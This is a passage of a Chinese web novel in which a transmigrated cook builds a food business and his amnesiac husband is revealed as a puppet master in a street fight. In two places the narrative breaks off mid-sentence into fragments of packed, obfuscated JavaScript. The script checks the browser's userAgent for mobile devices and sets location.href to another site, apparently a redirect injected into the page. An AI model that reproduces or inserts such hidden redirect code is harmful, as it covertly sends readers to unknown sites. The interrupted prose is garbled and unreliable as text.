那仍然是一台水车洗衣机,只不过那水车被打磨雕刻的十分精致漂亮,还是用红木做成的,应该是阿蛮拆掉了那些被淘汰掉的旧家具。 镂空的筒身上面雕出了一个个漂亮的花纹,里面是空的,他洗的床单已经被阿蛮晾到了晒架上。 他一时间不知道该说些什么,本来应该是自己给他惊喜的,谁知道他却给了自己一个大大的惊喜。 四儿一见阮锦回来了,当即说道:“少爷,你看,姑爷新做的洗衣机!” 阿蛮听到四儿叫阮锦,也抬头朝他看了过来,一双干净的眼睛突然有了亮晶晶的神色,仿佛在说:我做哒!我腻害不! 阮锦朝他竖起了一个大拇指,重重的点头道:“阿蛮真厉害!怎么想起来给我重新做一个新的了?” 阿蛮走了过来,垂眸对他道:“那个……木头,不好,水一冲就散了。这个,结实的,用多久都坏不了!” 阮锦感动的鼻子微酸,他握住阿蛮的手,却发现他手指上被割了好几道伤口,瞬间心疼坏了。 他皱了皱眉道:“是不是着急做好给我这个惊喜,把手都割破了?” 阿蛮不好意思的笑了笑,摸了摸头道:“我……想让阿锦开心。” 阮锦的鼻子更酸了,为了掩饰自己快哭了的表情,他拉着阿蛮一边往房间走一边道:“我去给你包扎一下,以后不许再这么赶工了。你这手得好好养养,这几天不可以沾水,听到没有?” 阿蛮很乖,跟在他身后应了一句:“不……不疼,阿锦……不担心。” 阮锦心想阿蛮也太好了,他怎么这么好,如果有一天他恢复了记忆要离开,自己一定会舍不得,一定会躲进房间哇哇大哭的。 可是,恢复了记忆的阿蛮还是阿蛮吗? 他的阿蛮,只是此时这个满心满眼里都是他的小傻瓜呀! 19.第 19 章 阿蛮抬眼看着他喜欢的阿锦,问道:“阿锦,开心吗?” 阮锦重重的点头,应道:“开心,特别特别开心,有整间屋子那么开心。” 阿蛮笑了,笑得十分明朗,就像春天里突然盛开的连绵山花,烂漫的让人移不开眼睛。 其实阮锦难以想象,阿蛮那么帅气的一个世家公子,身上是怎么弄出那么多伤来的,他的家人又怎么舍得让他上战场的。 他长得这么好看,如果是他,定会好好呵护这个孩子,不让他受半点委屈。 难道,家族里是为了让他建功立业,所以才把他送去战场上的吗? 阮锦试探着问道:“阿蛮还记得自己的家人吗?” 阿蛮迷茫的摇着头,似乎什么都不记得了。 阮锦又道:“那阿蛮记得什么?” 阿蛮继续摇头,答道:“只记得阿锦,阿锦……好,只喜欢阿锦。想和阿锦玩小泥鳅钻洞洞的游戏,喜欢……阿锦的……脚踝……” 阮锦的脸刷就红了,他当即捂住了阿蛮的嘴,心虚的朝外看了一眼,压低声音道:“阿蛮,这是我们的私房话,不能让别人听到,记住了吗?” 阿蛮的大眼睛转了转,捂住阮锦的手背重重的点头,还唔了一声。 那表情,一副仿佛做错了事情,又坏坏的得逞一般。 阮锦被他可爱到了,心想谁说我们阿蛮是个傻子,我们只是单纯罢了。 他失去了所有记忆,相当于一台机器被格式化,恢复了出厂设置,所有的应用程序都由自己来重新填写,也是件不错的事情。 阮锦拿了这几天换下来的衣服,趁着天光还亮,打算试试阿蛮给他做的洗衣机。 阿蛮兴冲冲的拉着阮锦来到了他重新做的洗衣机前,发现这小小洗衣机竟然也是内有乾坤。 他上前拉开几个机关,就把洗衣机的门打开了,衣服可以从门里装进去。 由于洗衣机的孔洞比较大,皂角没办法直接扔进去,阿蛮还做了两个皂角盒,木质镂空的,打开里面就可以放好几枚皂角。 阮锦越看越惊喜,对那精致的皂角盒都有些爱不释手起来。 他拿了几枚皂角放到了里面,扔进了洗衣机里,关上洗衣机门后,阿蛮又用另一个机关把水车放回了溪水里。 水车随着水流的冲刷而转动着,里面的衣服也跟着转动着。 随着哗啦哗啦的水流声,里面的泡沫裹挟着脏污从水车洗衣机里流了出来,而那些脏了的衣服肉眼可见的变得干净了起来。 又由于水车的表面被打磨的十分光滑,水流也没有特别大,对衣服衣料的揉搓也没那么强,倒也不怎么会伤衣料。 不远处三儿和四儿围拢过来,纷纷感兴趣的看着那水车洗衣机,三儿道:“这可真是少了不少麻烦,如果以后我们的衣服都能这么洗,那岂不是不用专门洗衣服了?” 四儿也道:“是啊是啊!我想起来了,我那儿也有不少脏衣服要洗呢,待会儿也拿过来扔进去。” 阮锦叮嘱道:“要视情况而定,如果是特别细软的丝绸或者缎面儿不能这么洗,很容易勾丝。像这种质地较硬的,麻织的葛织的则随便怎么洗。厚一点的绸缎也可以洗,不过洗的时间不能过长,不要超过半个时辰。洗干净了把皂角拿出来,再淘洗上几分钟……呃……一盏茶的时间!” 四儿明白了,说道:“好好好,交给我!三儿,要不咱们也做一个吧!” 阮锦道:“这怎么说的?一起用啊!” 三儿和四儿却拒绝了,三儿指了指不远处淘汰下来的那个水车道:“少爷做的那个就挺好,咱们的衣服都是麻和葛的,用不着这么精贵的水车。走走走,四儿,咱们把那个抬过来。” 说着他俩就抬了那辆被阮锦淘汰掉的水车洗衣机,放到了溪水的下游,同样把脏了的衣服扔了进去。 看着随着水车的转动,越来越干净的衣服,三儿和四儿捂着嘴巴惊叫:“我的天哪,这简直了,太神奇了!洗的好干净啊!” “这要是咱们自己手搓,那不得搓上半天?” “可不是,一般要专门拿出一天来洗衣服。咱们现在要做生意,怕是没这个时间了。” 说起做生意,四儿又有些不解的问阮锦:“少爷,咱们自己的生意也是刚赚钱,为什么还要收阿丙这个学徒啊?你真的要把咱们的摊子让给他吗?” 阮锦轻轻笑了笑,问道:“四儿,你觉得……如果天底下全是穷人,咱们想要做大生意,东西卖给谁?” 四儿不是很懂,他才不到十五岁,只知道自己的东西是自己的,如果给了别人自家少爷岂不是吃亏了? 三儿却垂眸想了想,说道:“阮少爷的意思是,如果大家都有钱了,那咱们如果想做更大的生意,是不是就可以卖给他们了?” 阮锦打了个响指,夸赞道:“三儿真是聪明,就是这个意思。我们当然可以垄断这些生意,不让任何人染指,只让咱们自己做。可是,百姓本来就是凄苦的。咱们这些小生意暂时还能赚些,可是如果生意做大了,卖的东西越来越值钱了,百姓的购买力却没上来,咱们的生意不就做不下去了?” 不远处的阿蛮眼神微微露出几分思索,总觉得这番话对他受益良多,却又一脸迷茫的觉得听不懂。 四儿却道:“可是……以后的事情,谁说得清呢?再说了,让百姓有钱,不是官府该做的吗?” 阮锦又想了想,问道:“那你们知道打窝儿吗?” 两人同时摇头。 阮锦解释道:“想钓更多的鱼,就要扔很多鱼食下去。有利可图,鱼群才能过来,到时候才能一网打尽。虽然,咱们不会把别人一网打尽,但大概是这个意思。他们来我这里有利可图,我也能从他们身上得到利益。我们终究没有那么多人,一条 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这时,门外传来了脚步声,阿大和阿丙一脸高兴的走了进来,一进来先跑去井边一人拿瓢灌了一肚子水,阿大喝完水才开口道:“少爷,铺子找到了!就在咱们摆摊子的地方,在那片柴剁的后面。不过咱们得先把柴草清理掉,我和阿丙阿二今天晚上连夜就清理出来。我们本来挺看不上的,但是那屋主带我们去看了一下里面,竟然非常干净整洁,价格还便宜。说是家中老人的旧居,老人亡故以后就没人住过了。” 阿丙也喝完了水,平息了片刻后说道:“而且前面那一大片空地,也可以给咱们用,那是他们家的院子,只是后来篱笆被拆了。后面还有很大一个后院儿,能放不少东西呢!加起来足足得有大几百平,一个月的租金只要一千五百文。” 阮锦十分意外,问道:“这么便宜的吗?为什么?” 阿大有些不好意思的说道:“这……少爷,我不知道您会不会嫌晦气。那家的两个老人……是去女儿家探亲,意外去世的。他们都觉得虽然算不得凶宅,却也不算吉利。而且是老宅子了,除了地方大,宽敞,没有别的优点。” 阮锦却并不在意,他摆了摆手道:“何处不死人,这有什么好在意的。这价格确实很便宜了,今天晚上我也去给你们帮忙。” 那几个人赶紧阻止,阿丙道:“不用不用,咱们三个大老爷们儿就行了!就一些乱柴堆,找个地方一堆就可以。哥儿和姑娘就在家待着吧!哪能让你们费力。” 阿大也道:“就是就是,咱们有的是力气。就是阿丙哥,你老娘一个人在家,要不要先回去看看?” 阿丙答:“不防事,隔壁是俺二姨家,我不回去俺老娘自会去俺二姨家住。” 阮锦点了点头,心想倒是有个照应,也不错。 三人回来只是喝了个水,便去收拾那堆乱柴了。 阮锦想了想,招呼着三儿和四儿道:“咱们也别闲着了,杀两只鸡,两只鸭,给他们准备些吃的。再去集市上多买些肉回来,最好是五花肉,我再给你们做些好吃的让你们尝尝鲜!” 20.第 20 章 一听阮锦又要亲自下厨,三儿和四儿都兴奋了,恨不得少爷天天亲自下厨,天天都有好吃的。 那么问题来了,谁来杀鸡? 村子里的鸡鸭都带回来了,现在被关在后院儿靠墙的笼子里。 三儿四儿阮锦三个人看着那些鸡面面相觑,三儿道:“四儿,你来,你……你说什么也是男人啊!” 四儿摇着头:“少爷了解我的,我连蚂蚁都不敢杀,别说杀鸡了。” 阮锦撸起袖子,嗤笑一声道:“看你们这点儿胆儿,我来!” 结果还没等他去开鸡笼,就被一只大手拎着手脖梗子拽到了后面,只见一个高大的身影利落的打开了鸡笼,从里面拿出了一只鸡。 右手上是他用来雕木头的刻刀,左手利落的举起鸡,精准的对准鸡脖子,噗嗤一声割喉放血,鸡只挣扎了一下,就这么寄了。 接着是第二只鸡,第一只鸭,第二只鸭。 三儿、四儿、阮锦三脸懵逼,阿蛮杀完后却一句话也没说,利落的转身走了。 他走后身前多了两盆血,一盆鸡血,一盆鸭血,而他的身上却连个血点子都没沾上。 三儿和四儿同时拍了拍手,异口同声道:“姑爷真帅!” 嗯,真帅这个词儿是和阮锦学的。 阮锦双手捂脸捧心,心想不愧是我看上的男人,杀个鸡鸭都杀出了上阵杀敌的气场! 不过阮锦表示自己杀鸡杀鸭也是不错的,毕竟他家可是开餐馆的,鸡鸭鱼这些东西是基本工。 阮锦上前拎起两只鸡道:“好了,别愣着了,开干!” 三人利落的烧开水烫鸡鸭拔毛,拔完后开膛破肚,把内脏取出来。 鸭肠是可以留着吃的,鸭血也是最新鲜的,今天晚上必须要做一个鸭血炖汤。 其实他一看到鸭血就想给他们炖火锅,可是今天有四只鸡鸭,也只能改天再说了。 想想便让四儿去买了个冰筒回来,放到地窖里,把吃不上的鸭肠先放里头冰了。 古代没有冰箱,普通人家也没有冰窖,只能买个冰筒,放到菜窖里,也算是短效冰箱了。 四儿问:“少爷,剁块还是像上次一样把腿和翅膀都切下来?” 阮锦今天的菜谱是一道老鸭汤,一道酱鸭子,一道鲜汤卤鸡,一道荷叶包全鸡,也叫叫花鸡。 他吩咐四儿:“剁一只鸡,一只鸭,剁成小块。一只整鸡一只整鸭洗干净了备用!三儿去捞一只我之前腌的酸萝卜,再去采几枚荷叶。” 之前腌制八宝酱菜的时候,阮锦还腌了不少酸萝卜和白菜,这些都是非常好腌制的。 三儿和四儿行动起来,阮锦则开始准备所需要的各种调料。 他许久没做老鸭汤了,在他们家原本的小餐馆里,这道菜也是点菜率超高的一道菜了。 做法也并不难,只是这个时代没有料酒,只能用黄酒来代替。 四儿已经处理好了鸭子,那鸭子肥得很,正是三年左右的老鸭子,这样的鸭子炖烫喝正是滋补。 他先将鸭子焯水去腥,捞出后备用,锅里放入清水、姜片、葱段、料酒,大火煮开后再撇去浮沫。 阮锦吩咐切点酸萝卜放进去,又加了些桂皮枸杞,更加滋补。 这边小火炖着,那边就开始做别的了。 另一只鸭子要做酱鸭子,这个做法相对又简单了不少,除了各种香料,还要加入酱料和冰糖,仍是大火煮开,小火慢炖。 两个火眼都炖上了鸭子,四儿负责看火,阮锦又开始做第三道菜。 鲜卤鸡块属于比较川系的做法,需要用上辣椒,可是辣椒这个东西是明朝才传入中国的,那是开拓丝绸之路以后的事情了。 现在没有辣椒,倒是有胡椒,可以做一下平替。 这时三儿也采了茶叶回来,阮锦把一旁腌制好的整鸡包裹起来,埋进了灶堂里,鸭子和鸡要炖上一个多小时,刚好可以把叫花鸡烤熟。 四个大菜只等着做好,阮锦又切了些八宝酱菜给大家下饭,又炒了一道青菜,凉拌了个杂菜,烫了姜拌藕,足足六道菜就这么搞定了。 四儿看得目瞪口呆,一边在灶下添柴一边道:“少爷,你这真的太厉害了!少爷你说实话,你是不是在梦里去哪里拜师学艺了?否则为什么一下子会了那么多的手艺呢?” 阮锦怔了怔,他心想要不要和四儿坦白呢? 原主成了孤儿,四儿也就是他唯一的家人了,这个时代的家奴是主人的私人物品,但阮锦并不觉得原主是把四儿当物品的,反倒是把他当成兄弟一般。 阮锦问道:“如果我说,我真的是去另一个世界学手艺了呢?” 四儿怔住,问道:“少爷,真的吗?那你是去哪儿学的啊?那里好不好?有没有吃苦?你的师父是谁呀?” 阮锦:…… 四儿怎么这么好哄? 他忍不住笑出了声,一边笑一边道:“逗你的,我能去哪儿学?我不是天天都和你在一起吗?” 四儿哦了一声,说道:“也是……可是少爷,这些东西这么复杂,你都是从书里看来的吗?” 阮锦满嘴跑马车:“也不是,有些是做梦梦来的。” “梦来的?”四儿更疑惑了:“怎么我都梦不到这么厉害的事儿?我只会梦见好吃的,不会梦见做吃的。” 阮锦:……难怪四儿小脸儿圆嘟嘟的。 三儿听不下去了,说道:“阮少爷天生聪明,还读过那么多书,哪像咱们似的,大字儿也不识几个。哎呀四儿,你别说些废话了,快看好火,火都要灭了!” 四儿赶紧添柴,一边添柴一边道:“我知道,我就是好奇嘛!不过我家少爷从小就聪明,会这么多东西那是理所应当的。” 阮锦感动哭了,心想四儿真是个小天使,时时处处的护着他,接受他的一切。 待到大菜炖好出锅的时候,阿大和阿丙也回来了,他们还打了一壶酒,虽然热了一身汗,看上去心情去极好。 阿大一进来就笑着说道:“老远就闻到香味儿了,阮少爷是不是又在做好吃的了?” 阿丙的嘴里直流口水 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阿丙重重的点头:“说得对!我一看阮少爷就是能挣钱的,这才几天的工夫,咱们整个桃花县就都知道你的馄饨了。做得是真好吃!” 阮锦觉得这些人是一个比一个会吹彩虹屁,再这么吹下去,他恐怕连自己姓什么都忘了,赶紧制止道:“好了好了,你们也别没话硬夸了,赶紧吃。待会儿凉了,可就不好吃了。” 一群人风卷残云,吃饭简直像是在打仗,好在阮锦今天做得多,否则还真不够他们吃的。 眼下大渊国也算太平盛世,百姓们安居乐业,也无甚大的灾年,风调雨顺的,百姓的日也尚且如此清苦。 真不知道过几年乱起来,这些百姓们会变成什么样。 渊国倒是还好,幽国和南北越国那才叫一个惨,据历史上的记载,说是已经到了尸横遍野,血流漂杵的地步。 饭后,阮锦没有立刻让他们走,反而拿了两本书出来,开始教他们识字。 大渊国用的文字是小篆,阮锦继承了原主的记忆,自然是认识的。 只是他觉得小篆太难了,不如简体中文好学,所以他打算教两种,让他们学一遍小篆学一遍简体中文。 好在小篆是象形字,学起来倒是也不难,就是写起来难。 不过他对他们也没有太大的要求,会读会认就行,至于写,如果可以,他想让他们记账的时候用简体中文和阿拉伯数字,这样还有助于保护重要的商业机密。 一堂课上完,睡倒了好几个,阮锦无奈,只得让他们回去睡了。 第二天一早又是摆摊的一天,这几天的收入眼看着越来越可观,每天都能赚个两三千文,最多的一天竟有足足四千文之多。 阮锦就一边摆摊,一边装修整改着租下来的老宅,打算把它改造成雅致一些的食肆,到时候也好开门营业。 阿蛮则成了吉祥物,天天坐到摊子后面雕木头,雕出来的木头也是越来越精致。 不过,生意太好,有时候也会惹来一些问题,俗话说树大招风,今日便有一个乘着马车的锦衣公子跑来闹事。 21.第 21 章 今日阮锦特意多备了些食材,除了馄饨、面条、茶叶蛋、八宝酱菜,阮锦还做了些卤菜,用十余种调味料卤制出来的各种荤素菜。 都知道阮锦家做的东西好吃,这些时日也是从十里八村传开了,所以有不少人从外乡赶来吃阮锦家的馄饨。 不光普通百姓来吃,有不少达官贵人听说了也来尝个新鲜。 阮锦倒是一视同仁,不论谁来了,一律排队。 如果不排队,那就不好意思了,关门放阿蛮! 阿蛮倒也不会把人怎么样,最多把对方的胳膊卸了,来多少人卸多少胳膊,主打一个来者不拒。 只是,今天这位主儿,倒是比想象中厉害了些。 眼看着日头西斜,阮锦把最后一块卤肉装进油纸袋,刚要递给食客,就听到马车里传来一个声音:“这块肉,本公子要了。” 阮锦抬头看向那辆马车内,一个油头粉面的青年探出头来,看样子对那块肉势在必得。 然而先前得了肉的买家也没有让的意思,他一脸为难的说道:“这位公子,这肉是我先买到的,你如果想买,下次赶早吧!” 那青年冷哼一声,下了马车道:“我出双倍!老板,卖给我。” 先前的买家眉头一皱,啪丢下了一块碎银,说道:“我还就不信了,今天这块肉我非吃不可!” 阮锦:……倒也不必。 他是个讲道理的卖家,先到先得,这是规矩,否则他也不会让人排队了。 阮锦收了原买家的钱,又找了零给他,说道:“客官客气了,该多少就是多少,我不会多收一分的。” 一身华服的青年皱眉看向阮锦,问道:“你……你敢把肉卖给别人?你可知道我是谁?” 阮锦一脸无语:“我管你是谁!这块肉,谁先到的就是谁的。你要是想吃,明天早点来排队。” 那人当即就生气了,指着他骂道:“好你个贱民!连我堂堂郡尉外甥都不认得,我看你们是活腻了!” 阮锦想了想历史上的郡尉是什么官,大概是相当于二十一世纪的地级市公安局局长的位置。 公安局局长的外甥,都敢在乡里如此飞扬跋扈,他冷哼一声道:“那你就把你的郡尉舅父叫来,看看他会不会因为一块肉把我抓去坐牢。” 渊朝的律法还是很严格的,尤其是在现今这个疯批渊王的治理下,更是说斩就斩说杀就杀,搞得当官的人人自危,绝不立于危墙之下。 提起这渊王,就不得不提起他那历史上赫赫有名的疯批行径了。 他最大的战绩是一日斩三将,还并自捅穿了一个丞相,却没有一个人敢反他。 据说是因为他能号令天地人三兵,也不知道是怎么个号令法。 显然,那郡尉外甥这辈子也没受过这样的委屈,他在桃花县基本是横着走,连县令县丞都要给他三分面子,竟然被这破小商贩给下了脸! 他抬手指着阮锦愤怒道:“好小子,今天我不给你点颜色看看,我看你是不知道爷的厉害!给我把他的摊子砸了!” 说着他一个手势,身后的两个小厮就要上来砸阮锦的摊子。 这种事,阮锦当然是不怕的,别说他两个小厮,就算是十个,对于阿蛮来说也是分分钟的事儿。 不过区区两个小厮,倒也用不着让阿蛮这尊大佛出山,阿大阿二和阿丙上前一站就仿佛三座大小不一的山包,那两个小厮当即吓得不敢上前。 青年呵呵两声,说道:“还有打手?厉害啊!不过你以为这样我就治不了你了吗?我祭出这两样东西,不知道阁下怎么应对!” 阮锦:古人还会玩儿梗啊? 后来阮锦才知道,原来祭出这两个词,是大渊特有的傀儡术。 只见马车上,两只木偶从车上跳了下来,那本来是车上两枚不起眼的雕件儿,却在青年念出那句咒语后瞬间便成了挥着利刃的杀器。 那木偶看上去十分魁梧,再加上手上拿着短剑,阮锦当即招呼着三人:“你们三个退下!” 好在阮锦喊得及时,那木偶只是划破了阿丙的衣服,皮肤出了点血。 但这仍然让阮锦的心提到了嗓子眼儿,他皱眉看向那两只木偶,不对,应该称之为傀儡。 这时一直在旁观没有走的那名食客突然开口道:“傀儡术?你……你因为这么一块肉,就想造杀孽吗?” 那青年指了指自己的鼻子道:“我杀了又如何?我舅舅是郡尉!我杀个把人怎么了?有本事你们就去告我!” 说着他又朝着木偶下达命令:“给我,杀了他!” 接收到指令后,那两只傀儡挥舞着短剑,短剑上闪着寒芒,朝着阮锦的方向刺了过来。 阮锦步步后退,直到退到了一个高大坚实的怀里,阿蛮搂住他,低低在他耳边道:“去我身后。” 阮锦这次却迟疑了,伸手挡在他身前道:“不,阿蛮,这傀儡诡异的很,普通人不可能战胜得了它们!” 这时,木偶傀儡已经来到了他的身后,短剑划过阮锦耳际之时,就被阿蛮猛然将人拉到了背后,自己则一个侧翻,避开了傀儡的攻击。 不远处的青年冷声笑着,坐到了小厮搬来的椅子上,冷眼旁观着这一切:“竟然躲过去了,呵呵,不过不用担心。傀儡一出,不见血不收回。那就让我看一场好戏吧!我倒是要看看,你们怎么躲过傀儡的击杀。” 这时,两只傀儡又调转了方向,朝阿蛮的方向走去。 这回阮锦真的担心了,他竟然忘了这是古代,是个权贵吃人不吐骨头,可以随意践踏人命的地方。 阮锦动之以情道:“县尉外甥,不就是一块肉吗?别人先来,我当然要把肉先给他。不如你把贵府的地址告诉我,我做好了给你送过去!” 那人却闲闲的扫了一眼阮锦,仿佛在看待一只死物一般的说道:“哦,认怂了?不过,晚了!我这个人,从来受不了委屈。” 他不是认怂了,他是担心阿蛮,他不想让阿蛮受到伤害。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833057|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是显然,那人并不打算放过他们,反倒是下了更凌厉的击杀令:“给我杀!我可没什么耐心!” 一声令下,傀儡的短剑挥舞得更加凌厉,朝着阿蛮的方向疾行而去。 阿大阿二和阿丙刚要上前去阻拦,便听到一阵尖锐的鸟鸣声从天空中传来,只见天上一只巨鸟俯冲而下,竟是一只木隼。 众人的被那只木隼吸引去了目光,阮锦仔细一看,这不是阿蛮自己雕的那只隼吗? 那是他刚刚被自己救的第二天就开始雕的,他雕得很快,却很细致,雕得惟妙惟肖,每个根羽毛都能看得清楚。 他总觉得阿蛮是个平平无奇的雕塑小天才,谁料那竟然不是普通的雕塑? 那隼尖啸一声,朝那两只傀儡木偶俯冲下来,阿蛮的手上则不知道什么时候多了一枚木哨,他轻轻吹着木哨,那哨声很刺耳,却对傀儡有着致命的打击。 那两只傀儡听到木哨声响后,进攻的速度迅速慢了下来,下一秒,便扑通一声跪了下去。 那县尉外甥一看这情况,当即便有些不服,他咬牙道:“你倒有点本事,呵,那就比比谁更厉害吧!” 说着他又下了一道傀儡令,车上同时下来四只傀儡,阮锦的心瞬间又提上了嗓子眼儿,说道:“阿蛮,别硬拼,一定要先保护好自己!” 阿蛮却不声不响,只是吹着木哨,木哨响过,街上多了许多围观的人。 不远处,木蛇破土而出,木狗闻声而吠,木马瞬间胀大了身体,嘶鸣着朝这边奔跑过来。 这,全部都是阿蛮平日里雕的,他一天到晚都在做木雕,竟是在做傀儡? 县尉外甥也有点着急了,他大声命令着木偶:“给我把它们全拆了!全部都拆了!” 那六只傀儡仿佛经过严格训练一般,齐齐朝着阮锦和阿蛮的方向杀了过来。 六把短剑直指两人,形成了围杀之势。 阿蛮的眼神中露出了疑惑,又有几分思索,他突然开口道:“这傀儡,是军中之物,你为何会用?” 县尉外甥的表情中露出几分心虚,却是外强中干的嚷嚷道:“干你屁事!” 阮锦看向阿蛮,不知道为什么,感觉他的眼神中竟然散发出了一丝丝的冷意。 这是平日里的阿蛮,从来不会露出的表情,他的阿蛮向来是天真懵懂的,他露出这样的表情,是不是表示他想起了什么? 这时,阿蛮又冷冷的说出了一句话:“公器私用,你可知道后果?” 县尉外甥的脸上露出凶恶的表情:“我说,后果是你死!死人,就做不出任何威胁了!给我杀!给我样!给我杀了他们!啊啊啊!” 男人的表情越是穷凶极恶,越是表达了他的外强中干。 阿蛮却只是缓缓闭了闭眼睛,有些无趣的说道:“没意思,散了吧!” 话落,只见那对他们形成合围之势的傀儡在一息之间,竟仿佛一盘散沙一般,哗啦一声,由一堆傀儡瞬间变成了一堆破烂木头。 22.第 22 章 而随着傀儡的碎裂,阿蛮的额头上有那么一瞬间出现了一枚花纹繁复的银色圆形图腾。 他的眼神更是冷到了极致,仿佛从地狱里刚刚爬出来的修罗一般,只是让人看上一眼,凉意就从脚跟迅速窜升到后脑勺。 周身的气质更是如君临天下的王者,与天真单纯的阿蛮,简直天壤之别。 可是那图腾也只是转瞬即逝,快到阮锦以为自己出现了错觉。 对面的郡尉外甥却却被吓到了,他几步退后,全身颤抖,被两个仆人扶住后,竟然扑通一声膝盖一软跪到了地上。 那人手指颤抖着指向阿蛮,问道:“你……你是傀儡师?” 然而此时的阿蛮却已经恢复了他天真单纯的模样,他歪了歪头,收回了自己的木雕,那些蛇、隼、马等木雕,就这么乖乖的落地排列到了他的脚下。 阿蛮没有回答他的话,只说了几个字:“阿锦说,不能伤人。” 声音低低的,听上去却是乖乖的,与刚刚火力全开的阿蛮判若两人。 围观者却都惊到了,这么一个小小的县城,哪里见识过这种阵仗,关于傀儡师,他们也只是在说书先生的话本故事里听过。 只知道傀儡师上天入地无所不能,战场上一个厉害的傀儡师,可抵千军万马。 阮锦却不知道,他没有听过这样的故事,也不知道这世界上竟然有傀儡师。 但他突然想到了一件事,那就是他在参观渊朝开国皇帝渊太祖的陵墓时,有一个碳化的随葬坑,那里面随葬的不是人或牲,而是一大堆木雕。 那些木雕时间久远,却仍然惟妙惟肖,表面的碳化,应该是用火烤过,防止木头腐烂用的。 一开始考古学家只当那是这位开国暴君的某种癖好,如今阮锦却又有了新的想法,难道渊帝的手下,真的有某些能人异士? 而且刚刚阿蛮说了,傀儡是军中之物,这位外甥是公器私用。 而阮锦一直猜测,阿蛮是从军队里出来的,这些也都对上了。 此时的阮锦一直在发呆思索,那位外甥却已经吓晕了过去,被两名仆人架着扶上了马车。 这时刚刚买肉的那位食宫却开口道:“傀儡师对阵,低等级的会彻底被高等级的压制,严重的还会吐血暴毙。难道……这位公子,是军中退下来的傀儡师?” 他转头看向阿蛮,阿蛮却已经不说话了,只是呆呆的垂着头,继续雕着他的木头。 阮锦赶紧上前道:“没有没有,先生,他只是有这个小爱好。而且我们阿蛮从小这里就不太灵光,你们也看到了,不是什么傀儡师。” 那位食客的眼神里透出几分疑惑,但是也没多问,只是朝阮锦行了个礼,转身离开了这里。 这个小插曲只持续了十几分钟的时间,围观的人也不算多,毕竟这会儿集市都要散了,阮锦却还是担心的不得了。 如果阿蛮引发的动静,引来了官府的注意,那怕不是什么好事。 而且他并不知道阿蛮的真实身份,万一他真的是某个知名傀儡师,而自己却…… 阮锦心里有些打鼓,总觉得自己强行让阿蛮入赘有些草率了。 可他当时被二叔和三叔两家围追堵截,十里八村造他谣,根本找不到合适的入赘对象。 而且他坦言,自己就是看上阿蛮的脸了,谁让他长得帅。 唉,罢了罢了,如果他注定不属于自己,那自己就算强留也是留不住的。 阮锦向来是个拿得起放得下的人,阿蛮确实好看,即使自己只能拥有他一阵子,也是开心的,倒也没必要奢求一辈子。 阮锦催促着阿大他们收摊子,说道:“今天收摊早,咱们把这周围布置一下,宅子里也做一下规划,再找人算个黄道吉日,这边就能开张了。” 阿大他们此时仍是心有余悸,对于刚刚阿蛮的实力,他们几个都惊讶的不得了。 尤其是阿丙,他小时候是见过傀儡师的,而且他对傀儡师有点发怵,毕竟他亲眼见识过傀儡师杀人。 所以刚刚郡尉外甥祭出傀儡的时候,阿丙的心里确实是捏了一把汗。 不过这会儿大家都没说什么,只是跟在阮锦的身后去收拾东西。 倒是四儿,一直兴奋的在夸阿蛮:“姑爷真厉害!还以为姑爷只会雕木头,没想到我家少爷捡了个宝!嘿嘿,少爷,姑爷真是了不起!” 阮锦的心里其实也有些小骄傲,乐呵呵道:“是吧?我们阿蛮真的很能干了。” 嗯,能干,可不止这一方面哦! 想到这里,阮锦的心情好了些,他抬头对忙碌的众人说道:“对了,咱们是不是该给咱们的美食集中营取个名字?” 众人面面相觑,一群文盲实在不知道叫什么名字好。 三儿倒是有一个建议:“要不……叫锦少爷食肆?” 四儿笑话她:“这叫什么名字?锦少爷……还蛮姑爷呢。” 阮锦的眼睛亮了亮,说道:“对啊!要不,就叫蛮锦食记吧!” “蛮锦食记?”众人你看看我,我看看你,眼中都露出了不解。 唯有阿蛮抬起了头,突然开口道:“蛮锦食记,阿蛮喜欢!” 阮锦一脸宠溺的看向阿蛮,说道:“阿蛮喜欢啊?阿锦也喜欢,蛮锦食记,一听就是我们俩合开的。这就当是我们俩的第一个孩子了,我们好好经营,争取以后把蛮锦美食开遍整个大渊!” 而且相较于另外三个国家,渊国是最安全的一个,其他三个国家都会相继陷入战乱。 据史料记载,渊王那个暴君几乎屠尽了幽国全国,把幽王的裸尸挂在野外,让野狗够食。 野史还说,他在幽王的□□涂上了蜂蜜,引来了蜂群,肿得斗大。 虽然很惨但是阮锦还是想笑,看来是因为渊王是个重症鸡无力患者,嫉妒幽王是个种马,天天醉卧美人膝,风流又浪荡,肯定也是器大活儿好,这才被渊王这么折磨的吧! 想到这里,阮锦扑哧一声笑出了声。 四儿好奇的上前问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837745|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“少爷,你笑什么呀?” 阮锦小声道:“四儿,我听说,咱们渊国的王一直没有立后?后宫也没有妃嫔?” 四儿哦了一声,说道:“那倒是,王上……二十有五,一直未立后呢。” 阮锦问道:“为什么呀?古人……咳咳,咱们现在不都是十几岁就开始成亲了吗?更何况是皇室,不更得早点立后立妃开枝散叶?” 四儿左右看了看,这才小声答:“少爷有所不知,咱们这位王,从小就和姐姐一起被质在了幽国。直到十七岁,幽国爆发内乱,他才带着姐姐逃了回来。回来以后被封为夜王,然后渊国就内乱了。乱了三年,死了三个王,直到当今王上登基。不过王上登基也有五年了,也不知道为什么,就是一直没有立后……” 阮锦又是一阵轻笑,小声道:“有没有可能,渊王不行?” 